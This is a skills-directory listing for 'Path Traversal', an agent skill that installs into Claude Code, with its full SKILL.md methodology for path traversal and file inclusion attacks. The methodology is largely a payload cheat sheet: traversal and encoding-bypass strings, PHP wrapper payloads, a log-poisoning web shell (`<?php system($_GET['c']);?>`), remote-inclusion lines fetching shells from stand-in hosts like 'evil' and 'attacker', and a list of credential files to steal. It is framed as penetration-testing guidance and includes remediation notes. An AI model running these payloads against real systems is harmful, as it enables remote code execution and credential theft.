Skip to content
Back to skills

Path Traversal

FSecurity

Path traversal / LFI / RFI — read files outside the intended dir and escalate local file inclusion to RCE. Covers traversal encodings, PHP wrappers (php://filter chain, data://, phar://, zip://), log/session/proc poisoning, and RFI. Tier 1. Payloads: payloads/file-upload.md and injection libs. Use for params that name a file/path/template/page (download, include, view, lang, template).

  • 16 stars
  • 0 votes
  • 0 copies
  • 8 views
  • Added November 17, 2026
securityphpshellbashawsbackend

Works with

  • mcp

Security analysis

F0/100
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill path-traversal --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Path Traversal?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Path Traversal
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-path-traversal/badge)](https://www.skillsdirectory.com/skills/anandjogawade-path-traversal)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: path-traversal
description: "Path traversal / LFI / RFI — read files outside the intended dir and escalate local file inclusion to RCE. Covers traversal encodings, PHP wrappers (php://filter chain, data://, phar://, zip://), log/session/proc poisoning, and RFI. Tier 1. Payloads: payloads/file-upload.md and injection libs. Use for params that name a file/path/template/page (download, include, view, lang, template)."
---

# Path Traversal / LFI / RFI

Escape the intended directory to read arbitrary files, then turn local file inclusion into code execution.

## Trigger phrases
`path traversal, directory traversal, lfi, local file inclusion, rfi, php filter chain, log poisoning, phar`

## Method
1. **Find file params:** `?page=`, `?file=`, `?template=`, `?lang=`, `?download=`, path segments, and filename fields (${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md). Distinguish **traversal** (read only) from **inclusion** (code exec).
2. **Core read:** `../../../etc/passwd`; Windows `..\..\..\windows\win.ini`. Confirm with known file contents.
3. **Encoding/filter-strip bypass:** double-encode `%252e%252e%252f`, overlong UTF-8 `%c0%ae%c0%ae/`, non-recursive strip `....//....//`, `..///////..////`, `/%5C../`, old-PHP null byte `...%00`, path truncation (`/././.`×N).
4. **PHP wrappers:** read source `php://filter/convert.base64-encode/resource=index.php`; `data://text/plain;base64,<PD9waHA...>` (needs `allow_url_include`); `expect://id`; `zip://shell.jpg%23shell.php`.
5. **LFI → RCE:** poison then include (below), or `php://filter` iconv chain.
6. **RFI (rarer, `allow_url_include=On`):** `?page=http://evil/shell.txt`, `...%00`; Windows SMB UNC `\\attacker\share\shell.php`.

## Modern / rare techniques
- [NEW] **php://filter chain → RCE (no file write)** — `php_filter_chains_oracle_exploit` (Synacktiv) turns any `php://filter`-capable LFI into RCE by generating arbitrary bytes for `include`. High value, often missed.
- [NEW] **phar:// deserialization** — `phar://evil.phar/x` triggers PHP object deserialization on any file op, even with `allow_url_include=Off`; chain `php-object-injection` + `file-upload` (JPEG/GIF magic before `__HALT_COMPILER();` to pass upload filters).
- **Log/session/proc poisoning:** inject `<?php system($_GET['c']);?>` via `User-Agent` into `/var/log/apache2/access.log`, SSH username into `/var/log/auth.log`, then include it; PHP sessions `/var/lib/php/sessions/sess_<PHPSESSID>`; `/proc/self/environ`, `/proc/self/fd/N`; mail `/var/mail/<user>`.
- **Container/host recon via `/proc`:** `/proc/self/cmdline`, `/proc/self/maps`, `/proc/sched_debug`.

## High-value files
`/etc/passwd`, SSH keys `/home/*/.ssh/id_rsa`, `~/.aws/credentials`, `.env`, `settings.py`, `wp-config.php`, `web.xml`, `/root/.bash_history`.

## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md: mixed/double encoding, backslash on Windows/IIS, wrapper case-mangling, nested `..%2f`, absolute path to skip a prepended dir.

## Escalation / chaining
LFI confirmed → log/session/`php://filter`-chain/phar → RCE → `command-injection`. Source leak → secrets → `access-control`/auth. phar branch → `php-object-injection`. Upload-assisted include → `file-upload`. Reading cloud creds → `cloud-pentest`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike): `LFImap`, `fimap`, `Panoptic`, `php_filter_chains_oracle_exploit`, `ffuf` for traversal fuzzing, `curl`. If a Burp MCP is present, send manual PoCs to Repeater and fuzz with Intruder. Windows-local last resort. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.

## Evidence
Request + returned file contents (or RCE command output), the wrapper/poison technique used, whether it is read-only traversal or code-exec inclusion, affected param, impact. Remediation: canonicalize + confine to a whitelist dir (`realpath` under base), map IDs not paths, disable dangerous PHP wrappers/`allow_url_include`, strip `../` after decode-loop.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.